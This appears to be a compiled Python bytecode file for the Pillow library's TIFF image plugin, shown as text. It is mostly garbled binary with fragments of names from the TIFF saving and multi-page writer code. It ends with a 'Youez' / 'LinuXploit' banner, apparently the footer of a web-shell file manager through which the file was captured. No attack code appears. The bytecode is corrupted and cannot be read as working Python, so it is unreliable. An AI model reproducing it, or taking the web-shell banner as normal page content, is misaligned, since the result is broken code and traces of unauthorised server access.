}n:d|v�r&|d}t|t��r*t��}|�|�|}ni}t�dt|��t|t��rP|��}|D]l}t|tj��r�|tj��v�r�|�|�|
|<n|�|�|
|<z|j||
j|<Wnt�y�Yn0�qTt|d��rt t!t"t#t$t%fD]2}||j&v�r�|j&||
|<|j&j||
j|<�q�|�d|j�d��}|�r4||
t'<t(dft!dft"dft!dft"dft dft)dft*dft+dft,dff
D] \}}||v�rt|||
|<�qt|�d�}|�r�d|
t <|d|
t!<|d|
t"<|dk�r�||
t-<t.|�dk�r�t.|�|
t/<|du�r||
t0<|dk�r||
t1<t2|
v�r*||
t2<n�|jdv�r�|
t2dk�r�|jdk�r�|�3�}|��}t4|j5�D]:}t4|j6�D](}|||fd k�r�dnd |||f<�qx�qj|}n
t7�8|�}|jd!v�r�|j9�:d"d#�}t;d$d%�|D��|
t<<t.|�|jd|dd&d'}|�rX|dk�rdnt=t>||jd�}|
dk�rbt=|d&d'd'|jd�}n
|jd}|dk�rpd}|dk�r~dn||}|jd|d|}||
t?<|d(k�r�tj@|
jtA<|f|d||jd||df|
tA<t;t4d|||��|
tB<tC�|
d�|
tD<|jd)k�rDtEd*tFd+i�G�D]\}}|
�H||��q,|�r�d,|v�r�|d,} t| tI��r|| dk�s|| d-k�r�tJd.��|
dk�r�tJd/��| |
tK<t�d0�t�d1tL|
�G���d}!t|d2��rz|�Md�tN�O|�P��}!WntQjR�yYn0i}"tFt1tAtBtStTg}#i}$|d|$t-<i}%t|d3��r@|jU��}%tV�W|
�G�t
|di��G�|%�G��D]�\}}|tjXv�r�tjYjZ�s��qb||
jv�r�|
j||"|<n4t|tIt[t\tf��s��qbnt�]|�j^}&|&�r�|&|"|<||$v�rb||#v�rbt|t\��r
|�_d4d5�d6|$|<n"t|t`��r$t[|�|$|<n||$|<�qbt�d7tL|$�G���|jd8v�rVd9}t|$�G��}'|'�a�||
|!||'|"f}(t�b|jd:|(|�}	|	�c|j9d;|j�|	�_d<�\})}*}+|!�s�|�d|+�|*�r��qΐq�|*dk�rtd=|*�d>���n.|
�e|�},tf�g||dd;|j|,||dffg�d?|v�r(|
|_hdS)@Nzcannot write mode z as TIFFrGr�rrrrrr�rrZtiffinforxzTiffinfo Keys: %srYr��descriptionr�Zx_resolutionZy_resolutionZresolution_unitZsoftwareZ	date_timeZartist�	copyrightr�rr*)r+r,r+�r�r;r�css|]}|dVqdS)rNr#r�r#r#r'r�Rr)z_save.<locals>.<genexpr>r!r"rr�)rr)rr��r�r�r��quality�dzInvalid quality settingz5quality setting only supported for 'jpeg' compressionzSaving using libtiff encoderz	Items: %sr{r�r�r�rzConverted items: %s)r0r.r�r}r>i@zencoder error z when writing image file�_debug_multipage)i�	SAVE_INFOrfr.r r��encoderinfo�
encoderconfigr-r��
WRITE_LIBTIFFrpr�r�r�r�r^r�rZExifr9r/r0rGrIrQrrtrurvr�r�rr�r�r��IPTC_NAA_CHUNK�PHOTOSHOP_CHUNK�XMPrYr��IMAGEDESCRIPTION�SOFTWARE�	DATE_TIME�ARTIST�	COPYRIGHTr�r�r�r�r�r��copyr,Zheight�widthr	�invertrgZ
getpaletter�r�rV�
STRIP_SIZEr�r��STRIPBYTECOUNTSr<�COMPRESSION_INFO_REVr��YCBCRSUBSAMPLING�REFERENCEBLACKWHITEr��
setdefaultr�r��JPEGQUALITYr;r1r�r�r{�io�UnsupportedOperation�TRANSFERFUNCTION�SUBIFDr��	itertools�chainZLIBTIFF_CORErdZlibtiff_support_custom_tagsr_rgr�r�r�rL�sortZ_getencoderr�rDrEr�_saver�)-rgr!rZr�rHr�r��bitsZextrar�r:r�r�r�r}r�rxryZiccr�r�Zinverted_imZpxr�r�Zlutr�Zrows_per_stripZstrip_byte_countsZstrips_per_imager�rar��_fp�typesZ	blocklistZattsZ
legacy_ifdr�rTrdr�srr8r#r#r'r��sz*




��






*
""



�
��
 
�


�	
�



�
r�c@s�eZdZgd�Zhd�Zd1dd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zej
fdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd2d.d/�Zd0S)3�AppendingTiffWriter)
rrrrrr"rrrrr"rr">i riii	rFcCstt|d�r||_d|_nD||_d|_zt||r2dnd�|_WntyZt|d�|_Yn0|j��|_|��dS)NrFTzw+bzr+b)	rrf�close_fpr��openr r+�	beginning�setup)r`�fnrer#r#r'rbs
zAppendingTiffWriter.__init__cCs�|j�|jtj�d|_d|_|j�d�|_}|s>d|_	dSd|_	|dkrX|�
d�n|dkrl|�
d�ntd	��|��|�
�dS)
NrrTFrDr�rCr�zInvalid TIFF file header)rfr1r�r��SEEK_SET�whereToWriteNewIFDOffset�offsetOfNewPager�IIMM�isFirst�	setEndian�RuntimeError�skipIFDs�goToEnd)r`r�r#r#r'r�szAppendingTiffWriter.setupcCs�|jr
dS|j�|j�|j�d�}|s,dS||jkr>td��|��}||j7}|j�|j�|�	|�|j�|�|�
�dS)Nrz1IIMM of new page doesn't match IIMM of first page)r�rfr1r�rr�r��readLongr��	writeLong�fixIFD)r`r��	IFDoffsetr#r#r'�finalize's


zAppendingTiffWriter.finalizecCs|��|��dSrS)r�r�rhr#r#r'�newFrame>szAppendingTiffWriter.newFramecCs|SrSr#rhr#r#r'�	__enter__CszAppendingTiffWriter.__enter__cCs|jr|��dS)NF)r�r�)r`�exc_type�	exc_value�	tracebackr#r#r'�__exit__FszAppendingTiffWriter.__exit__cCs|j��|jSrS)rfr+r�rhr#r#r'r+KszAppendingTiffWriter.tellcCs*|tjkr||j7}|j�||�|��SrS)r�r�r�rfr1r+)r`r8�whencer#r#r'r1Ns

zAppendingTiffWriter.seekcCs^|j�dtj�|j��}d|d}d|kr:dkrNnn|j�t|��|j��|_dS)Nrr/)rfr1r��SEEK_ENDr+rDr�r�)r`�posZpadBytesr#r#r'r�Us
zAppendingTiffWriter.goToEndcCs.||_|jd|_|jd|_|jd|_dS)Nr,r�ZHHL)�endian�longFmt�shortFmt�	tagFormat)r`r�r#r#r'r�_szAppendingTiffWriter.setEndiancCsP|��}|dkr"|j��d|_qL|j�|�|��}|j�|dtj�qdS)Nrrr-)r�rfr+r�r1�	readShortr��SEEK_CUR)r`r��numTagsr#r#r'r�eszAppendingTiffWriter.skipIFDscCs|j�|�SrS)rfrDrr#r#r'rDpszAppendingTiffWriter.writecCst�|j|j�d��\}|S)Nr)r�r�r�rfrr�r#r#r'r�sszAppendingTiffWriter.readShortcCst�|j|j�d��\}|SrE)r�r�r�rfrr�r#r#r'r�wszAppendingTiffWriter.readLongcCsJ|j�dtj�|j�t�|j|��}|durF|dkrFtd|�d���dS)N���r�wrote only � bytes but wanted 4�	rfr1r�r�rDr�r�r�r��r`raZbytesWrittenr#r#r'�rewriteLastShortToLong{sz*AppendingTiffWriter.rewriteLastShortToLongcCsJ|j�dtj�|j�t�|j|��}|durF|dkrFtd|�d���dS)Nr�rr�� bytes but wanted 2)	rfr1r�r�rDr�r�r�r�rr#r#r'�rewriteLastShort�sz$AppendingTiffWriter.rewriteLastShortcCsJ|j�dtj�|j�t�|j|��}|durF|dkrFtd|�d���dS)N���rr�rrrr#r#r'�rewriteLastLong�sz#AppendingTiffWriter.rewriteLastLongcCs:|j�t�|j|��}|dur6|dkr6td|�d���dS)Nrr�r)rfrDr�r�r�r�rr#r#r'�
writeShort�szAppendingTiffWriter.writeShortcCs:|j�t�|j|��}|dur6|dkr6td|�d���dS)Nrr�r)rfrDr�r�r�r�rr#r#r'r��szAppendingTiffWriter.writeLongcCs|��|j��dSrS)r�rfr�rhr#r#r'r��szAppendingTiffWriter.closecCs|��}t|�D]�}t�|j|j�d��\}}}|j|}||}|dk}|sj|��}	|	|j	7}	|�
|	�||jvr�|j��}
|r�|j
||dk|dkd�|j�|
d�n0|j�|	�|j
||dk|dkd�|j�|
�d}	}
q|r|j�dtj�qdS)Nr"rr)�isShort�isLong)r�r,r�r�r�rfr�
fieldSizesr�r�r�Tagsr+�
fixOffsetsr1r�r�)r`r�r2r�Z	fieldTyper3Z	fieldSizeZ	totalSizeZisLocalr8ZcurPosr#r#r'r��s2




��
zAppendingTiffWriter.fixIFDcCs�|s|std��t|�D]�}|r(|��n|��}||j7}|r�|dkr�|dkrVtd��|�|�|j�dtj	�|�
tj�|j�dtj	�q|r�|�
|�q|�|�qdS)Nz offset is neither short nor longrrznot implementedi����r")r�r,r�r�r�rrfr1r�r�rrr�rr)r`r3r	r
r2r8r#r#r'r
�s

zAppendingTiffWriter.fixOffsetsN)F)FF)r�r�r�rrrbr�r�r�r�r�r+r�r�r1r�r�r�rDr�r�rrrrr�r�r�r
r#r#r#r'r��s0

#r�c	Cs�|j��}|j}t|�dg��}t|d�s:|s:t|||�S|��}z�t|��v}|g|D]Z}||_||_t|d�sxd}	n|j	}	t
|	�D]*}
|�|
�|��t|||�|�
�q�qXWd�n1s�0YW|�|�n|�|�0dS)N�
append_imagesrcr)r�r�r�rGr-rr�r+r�rcr,r1r9r�)rgr!rZr�r�rZcur_idxZtfZimsZnfrr�r#r#r'�	_save_all�s(



,rz.tifz.tiffz
image/tiff)ar�r�Zloggingr�r�r��collections.abcrZ	fractionsrZnumbersrr�rrr	r
rZ_binaryr
rZ	getLoggerr�r/r�r�ZIFD_LEGACY_APIr�r�r�r�r�r�r�r�r�r�r<r�r�r�r�r�r�r�r�r�r�r�Z	PREDICTORr�r�r�r�r�Z
JPEGTABLESr�r�r�r�r�r�ZEXIFIFDr�r�ZIMAGEJ_META_DATA_BYTE_COUNTSZIMAGEJ_META_DATAr�r�r�r�rFrIrRrYr�r�rLr�r�r�r��setattrrIZImageFileDirectoryrXr�r�r�rZ
register_openr�Z
register_saveZregister_save_allZregister_extensionsZ
register_mimer#r#r#r'�<module>)s�
��vo\M�o

Youez - 2016 - github.com/yon3zu
LinuXploit